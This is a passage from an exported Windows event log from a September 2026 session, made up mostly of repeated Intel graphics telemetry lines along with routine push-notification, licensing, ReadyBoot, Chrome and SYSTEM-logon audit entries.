process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:34.518\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:34.649\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:34.798\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:34.939\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:35.082\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:35.092\t16384\tSuccessfully scheduled Software Protection service for re-start at 2126-08-12T01:29:35Z. Reason: RulesEngine.\tInformation\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 08:29:35.099\t903\t\"The Software Protection service has stopped.\n\"\tUndefined\tApplication\tMicrosoft-Windows-Security-SPP\n05.09.2026 08:29:35.198\t8001\t\"Skipping license manager: PFN A-Volute.Nahimic_1.10.13.0_x64__w2gh52qy24etm\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:35.199\t8001\t\"Skipping license manager: PFN A-Volute.Nahimic_1.10.13.0_x64__w2gh52qy24etm\nFunction: InvokeLicenseManagerRequired\nSource: onecoreuap\\enduser\\winstore\\licensemanager\\apisethost\\activationapis.cpp (373)\"\tInformation\tMicrosoft-Windows-Store/Operational\tMicrosoft-Windows-Store\n05.09.2026 08:29:35.229\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:35.396\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:35.651\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:35.893\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:35.893\t1213\tWNP Transport Layer proxy connection initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:35.893\t1215\tWNP Transport Layer proxy negotiation initiated for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:35.906\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:35.907\t1216\tWNP Transport Layer proxy negotiation completed for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:36.159\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:36.305\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:36.471\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:36.527\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:36.528\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:36.528\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:36.621\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:36.763\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:36.909\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:37.157\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:37.308\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:37.563\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:37.816\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:37.964\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:38.030\t1027\t\"ReadyBoot has updated the system volume unique ID: 0x82589128D7020000B8CF8787E80000000400000000000000\n ErrorCode: 0x0\"\tInformation\tMicrosoft-Windows-ReadyBoost/Operational\tMicrosoft-Windows-ReadyBoost\n05.09.2026 08:29:38.219\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:38.381\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:38.538\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:38.694\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:38.952\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:39.112\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:39.268\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:39.432\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:39.586\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:39.742\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:39.997\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:40.143\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:40.289\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:40.451\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:40.609\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:40.762\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:40.904\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:41.053\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:41.202\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:41.359\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:41.516\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:41.765\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:41.917\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:42.173\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:42.429\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:42.684\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:42.941\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:43.193\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:43.340\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:43.588\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:43.740\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:43.896\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:44.039\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:44.184\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:44.327\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:44.475\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:44.732\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:44.984\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:45.125\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:45.275\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:45.295\t1258\tWNP Transport Layer for Data Connection received asynchronous connection error 10060.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:45.295\t1207\tWNP Transport Layer resolving DNS initiated for host client.wns.windows.com for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:45.300\t1208\tWNP Transport Layer resolving DNS completed for the Data Connection with code The operation completed successfully..\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:45.300\t1211\tWNP Transport Layer initial server connection initiated to server client.wns.windows.com on port 443 for the Data Connection.\tInformation\tMicrosoft-Windows-PushNotification-Platform/Operational\tMicrosoft-Windows-PushNotifications-Platform\n05.09.2026 08:29:45.529\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:45.673\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:45.824\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:45.980\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:46.235\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:46.490\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:46.631\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:46.776\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:47.028\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:47.176\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:47.256\t256\t[14724:14840:0905/082947.247:INFO:chrome\\browser\\extensions\\extension_garbage_collector.cc:188] Garbage collection for extensions on file thread is complete.\tInformation\tApplication\tChrome\n05.09.2026 08:29:47.322\t4624\t\"An account was successfully logged on.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\tHONOR-FRG-X$\n\tAccount Domain:\t\tWORKGROUP\n\tLogon ID:\t\t0x3E7\n\nLogon Information:\n\tLogon Type:\t\t5\n\tRestricted Admin Mode:\t-\n\tRemote Credential Guard:\t-\n\tVirtual Account:\t\tNo\n\tElevated Token:\t\tYes\n\nImpersonation Level:\t\tImpersonation\n\nNew Logon:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\tLinked Logon ID:\t\t0x0\n\tNetwork Account Name:\t-\n\tNetwork Account Domain:\t-\n\tLogon GUID:\t\t{00000000-0000-0000-0000-000000000000}\n\nProcess Information:\n\tProcess ID:\t\t0x68c\n\tProcess Name:\t\tC:\\Windows\\System32\\services.exe\n\nNetwork Information:\n\tWorkstation Name:\t-\n\tSource Network Address:\t-\n\tSource Port:\t\t-\n\nDetailed Authentication Information:\n\tLogon Process:\t\tAdvapi  \n\tAuthentication Package:\tNegotiate\n\tTransited Services:\t-\n\tPackage Name (NTLM only):\t-\n\tKey Length:\t\t0\n\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\n\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\n\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\n\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\n\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\n\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\n\nThe authentication information fields provide detailed information about this specific logon request.\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\n\t- Transited services indicate which intermediate services have participated in this logon request.\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:47.322\t4672\t\"Special privileges assigned to new logon.\n\nSubject:\n\tSecurity ID:\t\tS-1-5-18\n\tAccount Name:\t\t\u0421\u0418\u0421\u0422\u0415\u041c\u0410\n\tAccount Domain:\t\tNT AUTHORITY\n\tLogon ID:\t\t0x3E7\n\nPrivileges:\t\tSeAssignPrimaryTokenPrivilege\n\t\t\tSeTcbPrivilege\n\t\t\tSeSecurityPrivilege\n\t\t\tSeTakeOwnershipPrivilege\n\t\t\tSeLoadDriverPrivilege\n\t\t\tSeBackupPrivilege\n\t\t\tSeRestorePrivilege\n\t\t\tSeDebugPrivilege\n\t\t\tSeAuditPrivilege\n\t\t\tSeSystemEnvironmentPrivilege\n\t\t\tSeImpersonatePrivilege\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\"\tUndefined\tSecurity\tMicrosoft-Windows-Security-Auditing\n05.09.2026 08:29:47.422\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:47.451\t265\t1 predictions were fetched for transforms '' and PCRs 7,11. USN: 0, Matching PCRs: 1,2,3,4,5,6,7,8,9,10,11.\tInformation\tMicrosoft-Windows-PCRPF/PCRPF\tMicrosoft-Windows-PCRPF\n05.09.2026 08:29:47.568\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:47.712\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:47.869\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:48.010\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:48.153\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked process\",\"parameters\":{\"caller\":\"SwitchProcessTracking\",\"process\":\"(null)\"}}\tInformation\tIntel-IGS-Logs/App\tIntel-IGS-Logs\n05.09.2026 08:29:48.301\t2\t{\"category\":\"PerformanceMetricsQueryManager\",\"level\":\"Information\",\"message\":\"Changed tracked 